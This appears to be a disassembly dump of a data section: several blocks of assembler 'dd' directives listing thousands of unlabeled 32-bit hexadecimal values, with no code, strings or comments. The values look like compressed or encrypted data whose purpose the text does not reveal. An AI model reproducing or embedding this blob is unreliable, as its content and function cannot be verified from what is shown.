		dd 0C08918BFh, 2BA3E71h, 213DEF05h, 0A282819Ah,	0DF303BADh
		dd 7DB7535Ah, 5C3A2951h, 57C50020h, 6850326Fh, 2B0CDC05h
		dd 0EDF1585Ah, 2D020680h, 0F9A34FC0h, 0FFF342B5h, 1BC9D968h
		dd 181F4102h, 0FE65EF68h, 314863A3h, 44E845F2h,	5D818B59h
		dd 0E76EE2Fh, 45E912A3h, 0F4ACB5E0h, 89126B70h,	102DDD31h
		dd 1364D460h, 8239A59h,	0B901B11Ah, 0BCB5612h, 0D28FDAE8h
		dd 4D8EFB14h, 0DE2A0492h, 1E6FD857h, 2DAD565Dh,	24EE6550h
		dd 2A30025Eh, 48410FCAh, 0EE0DA034h, 9E478C5Eh,	5D7E229Ch
		dd 599885A6h, 2E4EA8C0h, 5D15AFh, 27AA7948h, 506E2C1h
		dd 3C72E957h, 0F681362h, 6333EF3Bh, 0B4D0FBFAh,	48C3D8BFh
		dd 0D7706A6Bh, 0AB09AC6Dh, 34517F50h, 8568824Eh, 4FDFB073h
		dd 43503C17h, 429DC32Eh, 680105DCh, 662A11B4h, 760B477Eh
		dd 0D429A15Ah, 0C0F3C578h, 895EB3CBh, 4F8BDE58h, 0E86DDFE1h
		dd 854908D3h, 0B486FF25h, 3350D78Dh, 8B419574h,	6221BF3Eh
		dd 0D9C7FEE7h, 0BC2B5A5Bh, 9EFD309h, 76EC2233h,	0A02DCF20h
		dd 1B6EEE02h, 98313917h, 4CBF00CCh, 0B81E8262h,	85D4DE7h
		dd 0BFA31A8Ch, 0D32E70Dh, 0B2B9470h, 13804A7Dh,	403402Bh
		dd 0D57F1790h, 0D531E637h, 83007FEBh, 0D4C301Dh, 0ACB471FCh
		dd 0E8D109h, 0F2BDD8B2h, 58C22521h, 390BD954h, 696483Fh
		dd 0D36FD68h, 0AA8AE90Bh, 9CA8C07Ch, 0BA0D1B70h, 0CC8683Bh
		dd 0B0C5FFC2h, 0F044E6A5h, 160371D3h, 0E2148B5Bh, 0DD21D68Bh
		dd 33AF266Bh, 161C60F4h, 851ADD2Dh, 50B5515Dh, 9C9E47E9h
		dd 68565903h, 4BA97C80h, 8C341E64h, 6115236Bh, 0EB490B65h
		dd 6B52B1BAh, 4A34A3F0h, 3FE28E6Fh, 8511A553h, 81AE5837h
		dd 11D8F4Eh, 0A63A5A54h, 67A904EDh, 83FF6122h, 3DB01E2Dh
		dd 989FE7D1h, 0C9448ADEh, 87F229B3h, 0FCBCAAF6h, 5542EA81h
		dd 503F2741h, 0E91608D3h, 525C8254h, 0E2438DE1h, 0E7C128C8h
		dd 23760760h, 0FF6C6891h, 7B7D2BE1h, 28190824h,	0B0ED2083h
		dd 1EFB6816h, 82D964BFh, 0A5C14025h, 0F70F6049h, 8242DA30h
		dd 5F32678Fh, 1A28B87Ah, 55C51DE9h, 7B2184B4h, 20A3A026h
		dd 0F1E3C3Fh, 0C708C8B7h, 0FEB80101h, 2E3E3B1Eh, 0C2F91CABh
		dd 4D1B5F05h, 3579DAC4h, 752ADC58h, 24A47F54h, 828B3B4Ch
		dd 0C0D16C8Fh, 9C18112h, 0CE2E9374h, 55FB895Dh,	0C691DEE6h
		dd 254D5B08h, 5602EE54h, 0C14F2D94h, 39C1847Bh,	0D50C07DFh
		dd 0C01CE530h, 0BB7E7BF7h, 471880E7h, 0E9070C1Dh, 8A6EE320h
		dd 764211DEh, 0FE7BE725h, 5B735769h, 0C6805C82h, 0B160614Fh
		dd 7D103D29h, 28C4883h,	1A5A0939h, 5D87605Bh, 4EC50B79h
		dd 6E16D989h, 0F7FD315Eh, 8132E84Eh, 0A17BD9FEh, 856875FAh
		dd 0C2E72A68h, 0EBB2717Fh, 0CBE67F5h, 0F3EEFD1h, 5022F9C5h
		dd 0EA58BFB3h, 65F75925h, 4EBF81F6h, 0E236BC2Fh, 58C56C55h
		dd 5E39B151h, 0EF48529Fh, 0B498F9C0h, 0D7C34BCBh, 86C634ABh
		dd 7BC23124h, 1CFEFC0Bh, 95F82D08h, 0EC101319h,	0B09D7850h
		dd 246E969Eh, 9480607Ch, 0A00599D2h, 0BC55C20Eh, 0B4CC4A09h
		dd 34584F5Bh, 0A94A912Fh, 0B5F74C49h, 0C580AD01h, 59E82882h
		dd 93D5E76Eh, 96C956F2h, 0D85CDA24h, 0BD045537h, 796F33F5h
		dd 71DDABh, 5A277AA0h, 0EE7B26B8h, 95EAF313h, 3B017FF0h
		dd 7A4DE9F9h, 0D6102D4Dh, 0E2681320h, 0BE7494FEh, 6BA81FF8h
		dd 9EF18352h, 0DCB5AEC9h, 0BC00E947h, 71CF177Ah, 0E5A20176h
		dd 92E90801h, 250F260Eh, 4283D509h, 63008229h, 63C243C5h
		dd 79EA21A8h, 2E08EE5Dh
		dd 8DEE453h, 76258F07h,	481510C7h, 0C3E610EFh, 287F5B25h
		dd 0CB20A90Eh, 0F528EC39h, 6633ED75h, 28AF0A58h, 72D81906h
		dd 0B39A4FE9h, 68F66183h, 9A7B1A94h, 0EAEC4F3Dh, 0E9123FA6h
		dd 3ACF438h, 0A1FDEEF4h, 652A1B85h, 975081C5h, 6B2105FAh
		dd 0A23B19CFh, 27D30288h, 0D2312550h, 3A03B597h, 4B390330h
		dd 9CF978D5h, 0D72D203Ah, 0A3A0DA95h, 0A0ECBA20h, 3D6EFE28h
		dd 6DAE7B2Bh, 88599358h, 3446719h, 0FF2C41B8h, 0E288C4B7h
		dd 2683C86Ch, 0B87112CFh, 0F3BB938Ch, 0F61C340Ah, 0E943BCAFh
		dd 1457AA24h, 134219E9h, 231D5107h, 0EBCA602Fh,	5660C503h
		dd 27DA0618h, 7658BFDBh, 9395A770h, 1895C7B5h, 0F053EEh
		dd 0F28102A7h, 675C0CBFh, 22941C08h, 0A64E7727h, 4A82F24Bh
		dd 58447E5Dh, 5813F65h,	515BFC7Ah, 3A11C15Ch, 257E478Eh
		dd 0E6D93BBFh, 9D1EF820h, 0B7FCEC7Eh, 8E3E66EBh, 29568563h
		dd 81AE2D4h, 2017091Ch,	0B3E952B6h, 0F1F5946Dh,	89DD335Ch
		dd 0E161802h, 5BC5261Ah, 1E60282Bh, 0C08E7FD1h,	0CD2BB725h
		dd 0EC16054Eh, 5CBC2339h, 2D480277h, 7A279591h,	0E909EA7Ch
		dd 0D5BC429Ch, 0FF2538DBh, 0AA59A504h, 0FF925CFDh, 90C1BA84h
		dd 3EBFF90Ch, 569CE602h, 52F51533h, 5F9317DBh, 0EE0E072Eh
		dd 0C612C230h, 4ED286F7h, 9E542F21h, 78C51AC1h,	0F8EEA09Eh
		dd 69223012h, 4B073DE0h, 0F3052800h, 0E914990Fh, 0D1424B74h
		dd 4FB94B7h, 5FC3C280h,	890A1FD1h, 0F0D756F7h, 529F2D76h
		dd 0E05A5AEFh, 494A31C8h, 1F82B7F9h, 0DEE64560h, 105D72E7h
		dd 0BE0338ACh, 59E60766h, 9306EA3Eh, 0BCD01909h, 7B45311Dh
		dd 0B1515A0Bh, 1C373B29h, 79B676B2h, 4DF02898h,	0A84E37BDh
		dd 7C012554h, 5E555A06h, 16B15078h, 0EB9F69B7h,	0BF4FA57Fh
		dd 86A41340h, 503B0022h, 0D187399Bh, 305CDA25h,	5C37960Bh
		dd 0CB6C4ED3h, 3B5B418Ch, 0AFE42DECh, 0CE132BA2h, 0D034FF8Ah
		dd 9FFA3BEh, 30116368h,	376FB15Bh, 19625F6Dh, 0DD093ADAh
		dd 0C3E5C15Bh, 0B5BAC5D1h, 103F2283h, 4A79F7DDh, 0A755BCC8h
		dd 0C81E334h, 10D71509h, 27444998h, 442FFD29h, 21692365h
		dd 34A2A86h, 0CF65A29h,	0FFB71373h, 1F3194Eh, 0FF4AC9D0h
		dd 0AA4EC98Ah, 0B83FB739h, 94BBD714h, 1EEB39h, 118A5016h
		dd 715A5816h, 811E13E6h, 3542F567h, 2EC4106h, 4226957Bh
		dd 0BE580D87h, 0A1939E41h, 0C2873BC4h, 58A358FBh, 661C180h
		dd 2BC8281Fh, 555E602Ch, 0CB6A4731h, 25F18E2h, 12C2C191h
		dd 0FB557775h, 1C08E650h, 9A75495Dh, 2DB382E0h,	7AA388CCh
		dd 99F15457h, 0A8D220Fh, 0DA28D7CAh, 857CD1Fh, 0B1DCC0E5h
		dd 0B9D3009h, 0DC54660Ch, 0DD5E095h, 0BD80E0A0h, 0A0525A54h
		dd 35403438h, 0E0DB81Fh, 4DC30BA8h, 70F2E7C0h, 0F7F8031Bh
		dd 0CC12F304h, 0F0C14F74h, 217BFEFCh, 1E366F1h,	4A5DEF7h
		dd 5B02EDD6h, 54F2740Ch, 0FA311312h, 53591C40h,	12AA6856h
		dd 0BD0B987Dh, 2F4F857Eh, 5FF3CEAFh, 6EEB0BAFh,	5355C0A2h
		dd 50496057h, 0CED75C24h, 2C659713h, 0CC4F58Ch,	12BF3040h
		dd 992DBAA8h, 1D40D92Ah, 78B46B3Fh, 6B05BD48h, 0E62CBA5Ah
		dd 0E92A5E61h, 0F58785C4h, 53088A18h, 0F6139BBh, 0E95B69BBh
		dd 2D3E13CFh, 4E7EEA8Eh, 0B84617C3h, 800B923Ch,	1FC0F2CAh
		dd 0ECA16838h, 0E70069D8h, 1CB655E3h, 564AE92Eh, 1EC8080h
		dd 1E66E788h, 4BDFF658h, 30479F7h, 0F0A7D34Bh, 0AEA19EBAh
		dd 26364268h, 0F42193EFh, 6917103Ah, 95CF167Dh,	64C828F8h
		dd 0ABA2C2Ch, 8F575FC0h, 1445F4BDh, 0FC02AE47h,	7D1FD546h
		dd 0FFAD8074h, 0A19F8F1Ch, 2FA66869h, 9C2E302Bh, 465C9608h
		dd 0B83B63F9h, 77108123h, 0DFF0ECE8h, 0F547C758h, 5EE869FEh
		dd 46B01CF1h, 7CEAD280h, 0E905C905h, 8F4E186Ch,	5427FFD9h
		dd 68E082E2h, 0B4FF1B87h, 0BE5621C0h, 5EF52904h, 488955EDh
		dd 5F25E75Eh, 0CEECB431h, 0B5E19C55h, 2E321C0Dh, 40756DB4h
		dd 33655BD1h, 5E95E023h, 0C985FF97h, 4B028F56h,	5F525BD8h
		dd 65846845h, 0B2C05D2Ch, 96DE8F6h, 0E3E97807h,	0EB259A7Ah
		dd 28444E02h, 0EDA0F607h, 0BBB42F7Ch, 59D71881h, 896ED0C1h
		dd 874B3A47h, 0D28AFC5Fh, 493A7157h, 0E70230F7h, 753616B4h
		dd 34680C15h, 0E912104Ah, 74BB30CDh, 0E7E2EAC8h, 54F1E84h
		dd 920ADA29h, 8744C5E1h, 3D3AD8EAh, 0B33EC041h,	44552D5Ah
		dd 0DCEA2D6Ch, 3F92D3D9h, 0F6FE7D85h, 0D2E9C44Eh, 17015ECh
		dd 81EA80C2h, 7A5E1268h, 32179257h, 357403AAh, 21B0F897h
		dd 0C2D38BC2h, 3F380B12h, 8495B615h, 825966C8h,	0D1711AE3h
		dd 45285D8Bh, 9A60803h,	54396805h, 81A468ECh, 17D8C7Ch
		dd 8E61D601h, 68C23565h, 0EC78029h, 5BFD286Ch, 0E974EDC1h
		dd 0DCA13A7Ch, 8B69BF3Ah, 0E9BD493Bh, 1F328CF2h, 7FEFA335h
		dd 86BC2558h, 5BD5558h,	2CBE298Ah, 5A16A845h, 1D6BC0C0h
		dd 89FD2734h, 13EFBD00h, 7C5F871Ch, 88C791C2h, 0B842F308h
		dd 64C57D3Ch, 1652F817h, 0FCBD17BEh, 9413AB6h, 0E6DAF712h
		dd 38489DA7h, 411D73C2h, 0E28166F0h, 31082D96h,	3A6A0C84h
		dd 74BB85Ch, 0DF7B276Eh, 170D6DBh, 0ED1C23C3h, 77507E3Bh
		dd 0EA546408h, 0CAD5AFBh, 4B9297Dh, 531ED5BEh, 0D6E5E85Bh
		dd 4AB76BF4h, 0C56EE815h, 74AC6E8Eh, 0A7820F9Eh, 3D165FEh
		dd 762F4262h, 6677EB02h, 0C016EC60h, 672AC123h,	681B1D40h
		dd 0B2214C91h, 7B3790A7h, 0E1C18019h, 0B137095h, 7D12F6C0h
		dd 7339AC10h, 0B5302981h, 5B44407Ah, 0C09A498h,	542DC651h
		dd 0E7F82D99h, 711D6813h, 11171BA3h, 0C0A1EC2Eh, 2D202AA9h
		dd 97EDE8E9h, 40EC8822h, 18EB55FCh, 9A35E98Ch, 5BB33B6Ch
		dd 0FC0C4BFCh, 0EAE4A1CBh, 32796736h, 55125F2Eh, 2EF7A2C1h
		dd 913E50FEh, 64730A05h, 62D4AE11h, 365F080Eh, 5A61CEFBh
		dd 0E24827FCh, 92F1F218h, 6F285ABFh, 0F920B0F8h, 0EE6825BDh
		dd 5E4FBCE8h, 0A7218082h, 9461C222h, 5CDB0448h,	1944A860h
		dd 0F59FCF83h, 0A25AFE4Bh, 5AD01284h, 85F93710h, 39BB3B84h
		dd 3113F88Ch, 2DE4ADBCh, 5DA992FFh, 6A4C7057h, 16CBCB8Dh
		dd 40C4EAC7h, 67A07884h, 57861EBAh, 6F4A9C85h, 1FBDEB10h
		dd 7BBDFFF6h, 0BBE989F9h, 0C64EF941h, 0EE85743h, 0F7622C7Fh
		dd 540DC8ECh, 125B621Ch, 48E0209h, 2C4EC1C4h, 0FACF93D3h
		dd 0FB085524h, 0DA3A2C9Ah, 203F4CD7h, 7F9768D0h, 1731262Ah
		dd 4EBB3D2h, 42901A5Ch,	5F9134C2h, 0BF5455D4h, 313957FAh
		dd 8DE77FEh, 287D78Fh, 0E93371E9h, 0F3FDDE4Bh, 4FCC08BDh
		dd 5765735Ah, 7F7455E1h, 0DE0180D4h, 85A5CEBh, 0A51CBEF4h
		dd 1FAD21DCh, 8394A462h, 12F152DDh, 6F4329D1h, 0FA823A5Dh
		dd 0D531595Ah, 403042D2h, 0BBBF2010h, 0A0702F45h, 0EB9006F0h
		dd 0E06A7241h, 80949A4h, 4414434h, 8C839887h, 1FE1B074h
		dd 53392759h, 0F364E85Dh, 0AEF5257Bh, 0C22F81F4h, 0FB51DFDDh
		dd 275C0DCCh, 24DDE9F7h, 0D9A0078Dh, 281338B9h,	0C5C958E0h
		dd 7916BB21h, 0FBA4E1D1h, 91379806h, 0BFCE92ECh, 127C7BB4h
		dd 1DD94EBh, 5D64D50Fh,	0F30C8020h, 1770265h, 82BD90CBh
		dd 0B984208h, 0F8800414h, 0FFC58905h, 0CE558DD3h, 515D33B0h
		dd 7BA8312Eh, 5ABD894Fh, 50D21FA9h, 6DF79EC4h, 7E39F4DEh
		dd 0E0A5FE55h, 0A9B7041Bh, 38A9D701h, 59091B56h, 0B598F750h
		dd 0BE808335h, 0C04E17C8h
		dd 8906AB02h, 9F4D801h,	2C9C0ADBh, 0F6053D12h, 8BDDEF0Ch
		dd 82B3993Ah, 0C502F376h, 9569E137h, 0E5960704h, 0D15E6C30h
		dd 804E2A2h, 0E98A905Ah, 7E2AD557h, 434CEBC2h, 460C2D0Eh
		dd 82AD200Fh, 50A7009Dh, 5C88F2B0h, 301F37C2h, 45A1DD5h
		dd 0EA0FE9EAh, 4E5C9F0Bh, 0B6B5FCFBh, 0BE4B3FECh, 51435838h
		dd 3261A9EFh, 4ADFCE6Eh, 36B5AB41h, 7F207C31h, 0CD11139Ch
		dd 0CA9A8F6h, 0FF9489E9h, 5CD409F2h, 0D374AA1Ch, 2190E212h
		dd 2E2B38EBh, 0BCD6C49h, 327717DAh, 0CCE6F792h,	4BC5320h
		dd 0E3734EBEh, 0A690EB27h, 715D91F6h, 5C78981Bh, 0A12AF19Eh
		dd 0BFF6A1E7h, 7616398Fh, 0A345566Fh, 0C971ECF6h, 298F098Fh
		dd 51F7E6h, 108012BEh, 2EC46DAFh, 0A6FA21EBh, 0FB9D44EEh
		dd 88E1AFA9h, 6346DCDh,	57F27E2Dh, 0D303FC8h, 25D04E2Ch
		dd 39BDC240h, 707ACDF6h, 2ACC5E55h, 3BA329AFh, 0BE0357FEh
		dd 0DF8986D1h, 0B03BA87Bh, 0BEFEFD5Ah, 0C1388C8Ch, 0D58A47BEh
		dd 0D0508D96h, 86541634h, 50973094h, 96A82597h,	515F8EE4h
		dd 26E94B71h, 482B0E6Eh, 62AC4CBh, 65CE01E8h, 433E0244h
		dd 7E8166DDh, 0C9A3202Ah, 68804713h, 1CF6F313h,	546A9F25h
		dd 0B4E2FEFCh, 82F65DAAh, 7D1A2789h, 8014619Ch,	2A9992F3h
		dd 0D616A8F8h, 47FA095Ah, 85032231h, 91E00FBBh,	2905CA41h
		dd 179178EFh, 40AAFA10h, 44B13519h, 709DBA88h, 91D19FF5h
		dd 65BFFB64h, 79E2BBAAh, 0AA4B68C4h, 82FA358Dh,	34F2C9Ch
		dd 66BFF329h, 883F0E02h, 128A18E7h, 952DD81Dh, 897083D7h
		dd 0EAF3F2C3h, 0A847F586h, 20D77A27h, 68173E34h, 7BD5879h
		dd 4DCAFEA5h, 0E9120947h, 6940EF1Ch, 0E0C51DF3h, 5BEAF618h
		dd 0F2CFECEEh, 647D031Ch, 29592213h, 0CFC121AAh, 328004DEh
		dd 97E430Fh, 0EE83D6F7h, 0C61D90DDh, 440300E4h,	5EBB534Eh
		dd 684CF213h, 766E2094h, 2AF9275Ah, 769DC752h, 0AB5912F3h
		dd 92ED3738h, 0D4599D53h, 631A0B69h, 0B2561296h, 4E55E3ECh
		dd 66C953E3h, 9846987Ch, 1F0DB135h, 0F9986094h,	14E6E105h
		dd 0BC1255A5h, 827B0509h, 5E2C5E4Ah, 0BBD49275h, 81C9871Eh
		dd 5ACA5E29h, 3C508300h, 76B0691Dh, 74259E07h, 8440586Bh
		dd 73437C4Dh, 0D238170Dh, 1FA6F827h, 1697E940h,	5F1611CFh
		dd 5E423223h, 52553740h, 905BE7FAh, 5CE27FA8h, 0E958965Eh
		dd 0CCF155D7h, 41DAD530h, 0EBF3EE3h, 0EA670964h, 10B88F4Eh
		dd 24BE9B5h, 142C6D81h,	0C5B0C37Ah, 0F8817FB3h,	0BED4D304h
		dd 9AEAA985h, 58AD3990h, 18C4B7DAh, 0B00D80B0h,	527E070Ch
		dd 701AF305h, 48D8F75Fh, 906DC8F1h, 0B5E04B5Fh,	0AFBA4A47h
		dd 58A27662h, 9E7897D1h, 0E4205398h, 3BD741Dh, 81524B21h
		dd 828109CDh, 0AE5D869h, 9112292Ch, 0CDF16B13h,	4027E73Ah
		dd 1B4103AFh, 89FDA23Fh, 5FA662DEh, 5DC5617Bh, 0A64FD7B8h
		dd 3BC19A7h, 9230AD22h,	4DA74067h, 0C8ADCC99h, 288070E7h
		dd 9BBAEC6h, 0B819E91Dh, 0A62BD17Dh, 99A169AEh,	6F85E492h
		dd 371324B8h, 1B88BB80h, 417C6C3Dh, 0C5256810h,	25AA660Dh
		dd 8148B6FCh, 843D4625h, 0CFF89A10h, 0BD79D417h, 2115D27Ch
		dd 6B53D021h, 8B13F1E3h, 0BD316435h, 4D5E273Fh,	3FEA7E8h
		dd 0DB36D72Dh, 0EDDFE90Bh, 0DCEAABFEh, 0AA5A92B5h, 968431E2h
		dd 3E6DB5BDh, 5A7B33E8h, 68AD07FBh, 0CB80AAFDh,	661A830Dh
		dd 0FFBD5E2Eh, 0A4E9BFF4h, 0C14217D6h, 0F0452C9Dh, 0D87628EEh
		dd 780EF5E9h, 0B8B05FABh, 0CAF46BE8h, 0AEA49202h, 82EBD00h
		dd 29712DDFh, 0CD00BAFAh, 501A4F7Ah, 24E3B951h,	374E70h
		dd 211B7F1h, 0C84C8921h, 0FCB85ADFh, 57D926h, 1E5D043Ah
		dd 600BE781h, 0D433A63Dh, 0A2CD0247h, 595899B7h, 82131695h
		dd 62387F39h, 0F4BC14E9h, 12F7FC27h, 0F6060838h, 79736804h
		dd 8825D3F9h, 0BB8F30FDh, 7B07133Fh, 0D86AFC6Bh, 2833ED0Ch
		dd 208AE0B3h, 414AF793h, 3F76C9BAh, 0E180B8BCh,	66E27B0h
		dd 3850F2B9h, 71BB800Ah, 437D211Fh, 5987FB53h, 0F813E941h
		dd 0D27C412Eh, 3038CD52h, 97B873FDh, 58C15E4Fh,	0AB898AC0h
		dd 238487F5h, 8629C070h, 6E409B11h, 2D4F02BAh, 1BAEE90Eh
		dd 5BF73CFDh, 5C6C09DCh, 0FCA76847h, 631D624Dh,	6497002Bh
		dd 98915A76h, 88FB409Fh, 0E24EEC72h, 449F25A2h,	92E1E9D7h
		dd 127F21BDh, 2FF9F51Fh, 0FFD1D7C1h, 77A89E28h,	0F381C2BCh
		dd 1497E6A9h, 843BEBEDh, 61CEAE40h, 6861E14Eh, 0FECF5B6h
		dd 96724AB1h, 57E9C567h, 0B5685905h, 79CBBF5Ch,	97A8E90Bh
		dd 13C01F9Ah, 64BF5E84h, 324A2628h, 0AA5D2DFEh,	0EB1C281Ah
		dd 8F96911Eh, 89CF09BAh, 5C375F7Ch, 66465616h, 68EBC517h
		dd 0DE265B2Dh, 72A7C225h, 7A03481Ah, 0BD13A4DFh, 7CCC2C22h
		dd 180C7FFh, 71D0BE56h,	0B9123E85h, 8AFA7452h, 221A7h
		dd 30E9982Ch, 2DC1FF34h, 785F6856h, 761C317Fh, 5D8D4CE7h
		dd 76027497h, 68057691h, 745273DDh, 3AB899BFh, 9B532F4Ah
		dd 726B470Ch, 89D02B7h,	0CCFE5BFCh, 0E8A7457h, 0EC6406F4h
		dd 372822Ch, 0DDF75D01h, 0E7CBC03Fh, 89EABBAEh,	35E9EB17h
		dd 0F000F487h, 2A688A04h, 4714A99h, 23B55153h, 2547F8FEh
		dd 0AE40D5EAh, 16C274E5h, 997209E9h, 64605882h,	7D629F20h
		dd 0F863EC55h, 70E15825h, 42C968C7h, 0FAF101FCh, 0CD81D74Bh
		dd 4D31A368h, 0C24E82A7h, 40743C4Dh, 94E7393h, 0BEE96323h
		dd 4FAAFAA8h, 10DC124h,	1F0670BDh, 2EDED30h, 23216480h
		dd 8C80E831h, 56E940D0h, 3DD0BD5Fh, 256E0BC7h, 76F67C11h
		dd 45F54701h, 57F0FE9h,	0C6F8869Ch, 5E1FE3F2h, 76671168h
		dd 2141C189h, 32690046h, 0C06608Ch, 4030FD1h, 929458C0h
		dd 4F216830h, 0F729AFF8h, 54BED24h, 1430B30h, 79B2FAD8h
		dd 0BA2560DDh, 0B033F506h, 71DC3AEAh, 91C25144h, 974777BFh
		dd 0B254183Fh, 1802BE1Ch, 0C03CD229h, 7B132EF6h, 90BE1C91h
		dd 5A7E89C7h, 4A20214Ch, 0BC7117FFh, 7282136Eh,	40732FBh
		dd 2A27D1Ah, 187FDCD5h,	3E032768h, 0FE9630CEh, 35784477h
		dd 0C659AC3Bh, 0C65C4F5Ah, 2C520684h, 7F303240h, 185290F3h
		dd 1CE5D0CCh, 929F8510h, 0DE74778Dh, 0E000D6CBh, 1A060287h
		dd 52379190h, 7F39C1BAh, 5557C500h, 755E0B68h, 0C8EC2D32h
		dd 95CE0146h, 0E020B0E4h, 0EA811E46h, 4B2A400Eh, 525AD021h
		dd 6625DC90h, 5913122Eh, 0B4D2C460h, 0E541EEAAh, 24627FC2h
		dd 7C7061F5h, 182C5AD9h, 0F831F73Dh, 6273E91Ch,	26D82E5Bh
		dd 0D8656413h, 0A94AEBBCh, 4ED5D4F8h, 311FCDAAh, 0E4A82B25h
		dd 9E8DE983h, 0E8B94805h, 0C0BF770Ch, 0ECB7DB1Fh, 73F91A4Dh
		dd 199DFB50h, 6F013CECh, 0C14F281h, 0EC6A7FB6h,	53E9131Eh
		dd 91BE4652h, 818991F3h, 5C7DBA12h, 3A830962h, 26AD1049h
		dd 0E99D02BDh, 625697C4h, 80C7FEE0h, 0FF784ECFh, 217F59C7h
		dd 4168E96Dh, 59A0D27Bh, 66597754h, 82BC186Fh, 5DC0A2C3h
		dd 287437CEh, 17719079h, 662A3Ah, 22A8EE47h, 894BD11Fh
		dd 58006E9h, 0F5E2EA11h, 4E2A5A9Dh, 0E9DCE4EEh,	0C1D81729h
		dd 0E13F27BCh, 0EC3B58C6h, 1CC5E722h, 92BD8EABh, 2F6FCBEEh
		dd 2D7A743Ah, 61F269D6h, 5C02F06Bh, 0EA43D1F7h,	0AB093FAEh
		dd 2173FEE4h, 18E9B88h,	1A69E1BEh, 50576C7Fh, 265B2C87h
		dd 1303B6F0h, 0AF36F15Ah, 0E9D1F207h, 0A5A000BFh, 0FBD067Dh
		dd 49E6D7CCh, 66F05A9Eh
		dd 0F5C845EBh, 0E30CCAC4h, 773AEA68h, 2F339EF0h, 58AD1979h
		dd 0EBC74BF3h, 8668F903h, 63311721h, 579E92C3h,	715BA742h
		dd 169DAE08h, 3583FBBAh, 8D1F9C29h, 38F8FB26h, 4A5FB3EBh
		dd 8894BA93h, 1235DABFh, 0D0D0544Eh, 2DA38BEAh,	0ED86C0Fh
		dd 5F89683Eh, 0A4B888A8h, 24201C41h, 0F5144FF6h, 0B2CAF465h
		dd 12334C97h, 0FF4590A3h, 4AE4817h, 0BE79500Bh,	0B0EF3F64h
		dd 194A3393h, 2A4562E5h, 53F2C8BAh, 31FE7A4Bh, 7F888267h
		dd 0C955AA23h, 1292A898h, 7FB98A59h, 0C1A34Ah, 4B2CB951h
		dd 178EC680h, 419F09A0h, 845EE77h, 6DF61B00h, 5BA946CBh
		dd 0CEE1E801h, 65A49562h, 0ACA866B6h, 0EF305805h, 7DF10B59h
		dd 897F7142h, 3D3A5F6Ch, 9512F075h, 5F5667FEh, 29BE8C66h
		dd 0E56EE341h, 0F6B92E40h, 0D7CF6018h, 2D1639F3h, 1FEB6A82h
		dd 0E393FC6Bh, 404FB31h, 1DB2354Ch, 0D2138416h,	7740013Eh
		dd 7F0E591Ah, 0A5CE09A1h, 74C0D6F7h, 0AAD62B6h,	5F61E91Bh
		dd 256861C6h, 63E26E33h, 1131FB92h, 9D3A9D05h, 0D28D31CBh
		dd 5E5B5601h, 69D842Fh,	500554A8h, 68575F01h, 126A72F5h
		dd 1503FC2Fh, 6F3FD15Ah, 0DBD96565h, 3BC3994h, 809CD24h
		dd 891E9A0Eh, 11427EE6h, 95F9CCE0h, 0FD257554h,	118101CAh
		dd 0C1906F20h, 22AC6F29h, 6AAD3901h, 6BE909CAh,	9E064A99h
		dd 85B12738h, 0C3827F4Bh, 8E498F59h, 0CA80050Fh, 54E2F5C2h
		dd 0B862C2Eh, 15561219h, 48053267h, 355E0B81h, 40C1A207h
		dd 0BEA1FCC6h, 803324C9h, 4834EB31h, 0EF04E29Dh, 41BB5F90h
		dd 293C250Ch, 1641A7Fh,	0D4ACE90Ch, 92CF7B94h, 84FAFE89h
		dd 0F6EFC2D2h, 1ABD63Fh, 3402F705h, 0F9C03A26h,	0E44F6851h
		dd 596E14B6h, 4D0FA209h, 0BED7BAE9h, 29C80476h,	89EA1F90h
		dd 17705550h, 632E910Ah, 3559A570h, 0E8AB0E44h,	4A22D3Ch
		dd 0C0815CABh, 0D462927Fh, 8E04EC90h, 0C414D959h, 3E9BF162h
		dd 0C80CB12h, 2D774A75h, 0FF79DA29h, 99900B20h,	0D9667B0Dh
		dd 0FE2B181Bh, 0B258CB0Fh, 6A2FB5AEh, 0E90AE78Fh, 0BC72CECBh
		dd 0A9F83D16h, 310BD6ECh, 0F6E7A967h, 47EA13C5h, 73EF8169h
		dd 7E004E5Dh, 0B1F26EF7h, 0A1FA29E7h, 26512EE2h, 923A1268h
		dd 1DCAE38Bh, 9F3CE43h,	8EB71617h, 0D85F5109h, 0DAF49F9Ah
		dd 0D0B7017h, 5B88FAA4h, 6A4DF407h, 2531FC16h, 816A7BE1h
		dd 23E724A4h, 7BEA59EAh, 0DDEFCD25h, 7881A8CAh,	28D2F692h
		dd 28010812h, 37C28FAh,	0E94B0C81h, 0A475E6DEh,	0AE0BB32h
		dd 0DE1675Bh, 2CCDF23Fh, 480F10B1h, 8C6C0926h, 5410AC85h
		dd 534C55EEh, 695A2CBEh, 5871E962h, 4F5F5B09h, 0B7FF634h
		dd 2C94EA99h, 5B5A5312h, 540A49BAh, 0A43EDB7Dh,	0D1621795h
		dd 2F2BE380h, 0AA1F6875h, 2B508D49h, 0B65F9B1h,	0A68E272h
		dd 0F5821045h, 0C29E61E8h, 0F5D111C9h, 0CD2FDA20h, 0CAFFBEE8h
		dd 801E14F8h, 0E01818F3h, 0A0BFB55Fh, 1C01DB8h,	0F28002EAh
		dd 6508E98Eh, 0B146A9Dh, 53A50582h, 0A3817D88h,	66024C0Ah
		dd 25FEC7E4h, 0BDBBA80h, 56627664h, 0CA4401F5h,	902B313Ah
		dd 3FF990E5h, 550AC049h, 5F781C1h, 0EE5CDDECh, 7F61E12Ah
		dd 2377FF60h, 173D611Bh, 6B7816E9h, 41130D98h, 0A880440Bh
		dd 2AB90294h, 0F5A2B7AFh, 0E109BC44h, 812BD75Bh, 6D2FE83Fh
		dd 411A9730h, 8924302Eh, 450985BFh, 5CEF05EEh, 0DD35BAB6h
		dd 79823134h, 0E7D2A436h, 0C5DAB9BFh, 58B0EBE9h, 0F6F51D81h
		dd 0DA365E0Eh, 28880AADh, 11210289h, 0A8D7348Ah, 1726085Dh
		dd 0E9D629C0h, 89F9A825h, 0E5C29FF8h, 294CD0D5h, 1AD76452h
		dd 0D304B803h, 5918A039h, 0A5904E9Ah, 0F3D3CB54h, 1B510312h
		dd 0D75B77B8h, 137A3F86h, 0F00BBDCh, 850D2EA0h,	4A8E0120h
		dd 7C734F35h, 2DDEE828h, 566961Fh, 0B486AF00h, 0B553E5E9h
		dd 0DF093B53h, 303BC605h, 7683E110h, 4750C861h,	49041682h
		dd 0D7016629h, 0C6B370BAh, 722F46C0h, 62B7E060h, 296C1A2Dh
		dd 80D1CFEh, 0E914001Ch, 2BE12EB3h, 0FFF513BCh,	24E9A9D8h
		dd 0A1CAEEAEh, 455DA740h, 6D60B4Eh, 0F5E03AD7h,	0CDBD236Ch
